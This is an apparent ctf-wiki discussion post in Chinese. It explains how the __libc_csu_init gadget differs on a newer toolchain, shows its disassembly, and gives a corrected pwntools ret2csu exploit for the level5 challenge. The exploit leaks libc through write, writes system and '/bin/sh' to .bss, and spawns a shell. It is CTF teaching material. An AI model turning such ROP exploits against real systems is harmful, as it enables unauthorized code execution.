#683·ctf-wiki

关于lib_csu_init的一点小问题

Author: Ma5kerCreated May 16, 2020Updated Sep 30, 2024

前两天看ret2csu时,发现lib_csu_init好像发生了变化,下面是我这边ida(objdump得到的结果一样)得到的lib_csu_init反汇编代码

.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0                 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30          = qword ptr -30h
.text:00000000004005A0 var_28          = qword ptr -28h
.text:00000000004005A0 var_20          = qword ptr -20h
.text:00000000004005A0 var_18          = qword ptr -18h
.text:00000000004005A0 var_10          = qword ptr -10h
.text:00000000004005A0 var_8           = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0                 mov     [rsp+var_28], rbp
.text:00000000004005A5                 mov     [rsp+var_20], r12
.text:00000000004005AA                 lea     rbp, cs:600E24h
.text:00000000004005B1                 lea     r12, cs:600E24h
.text:00000000004005B8                 mov     [rsp+var_18], r13
.text:00000000004005BD                 mov     [rsp+var_10], r14
.text:00000000004005C2                 mov     [rsp+var_8], r15
.text:00000000004005C7                 mov     [rsp+var_30], rbx
.text:00000000004005CC                 sub     rsp, 38h
.text:00000000004005D0                 sub     rbp, r12
.text:00000000004005D3                 mov     r13d, edi
.text:00000000004005D6                 mov     r14, rsi
.text:00000000004005D9                 sar     rbp, 3
.text:00000000004005DD                 mov     r15, rdx
.text:00000000004005E0                 call    _init_proc
.text:00000000004005E5                 test    rbp, rbp
.text:00000000004005E8                 jz      short loc_400606
.text:00000000004005EA                 xor     ebx, ebx
.text:00000000004005EC                 nop     dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp

首先是第一段gadget的赋值也发生了一些变化,后面使用ret2csu需要注意参数传入的对应寄存器。然后是尾部那段gadget发生了变化,由pop变成了mov,最重要的是开头的add rsp,8操作被移到了尾部一起执行了。这样就导致了第二个exp的问题。

因为原来这段gadget是直接从pop开始赋值寄存器,但是变化后成了从栈顶下第二个8字节开始,所以原有的exp会出现错位8字节,下面是我修改了的部分exp,其实主要就是gadget位置与栈布局有细微的变化而已,在docker环境下测试通过。

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
 
p = process("./level5")
elf = ELF("./level5")
 
csu_1_addr = 0x00000000004005f0
csu_2_addr = 0x0000000000400606
write_got = elf.got["write"]
read_got = elf.got["read"]
main_addr = elf.symbols["main"]
bss_base = elf.bss()

def csu(rbx, rbp, r12, r13, r14, r15, last):
    pld = ['a'*0x80,'b'*8,p64(csu_2_addr),'\x00'*8,p64(rbx),p64(rbp),p64(r12),p64(r13),p64(r14),p64(r15),p64(csu_1_addr),'\x00'*0x38,p64(last)]
    payload = flat(pld)
    p.sendline(payload)
p.recvuntil("World\n")
csu(0,1,write_got,1,write_got,8,main_addr)
sleep(1)
 
libc_write = u64(p.recv(8))
libc = LibcSearcher("write",libc_write)
 
libc_base = libc_write - libc.dump("write")
libc_sys = libc_base + libc.dump("system") 
p.recvuntil("World\n")
csu(0,1,read_got,0,bss_base,16,main_addr)
sleep(1)
#pause()

p.send(flat([p64(libc_sys),'/bin/sh\x00']))
p.recvuntil('Hello, World\n')
csu(0,1,bss_base,bss_base+8,0,0,main_addr)
p.interactive()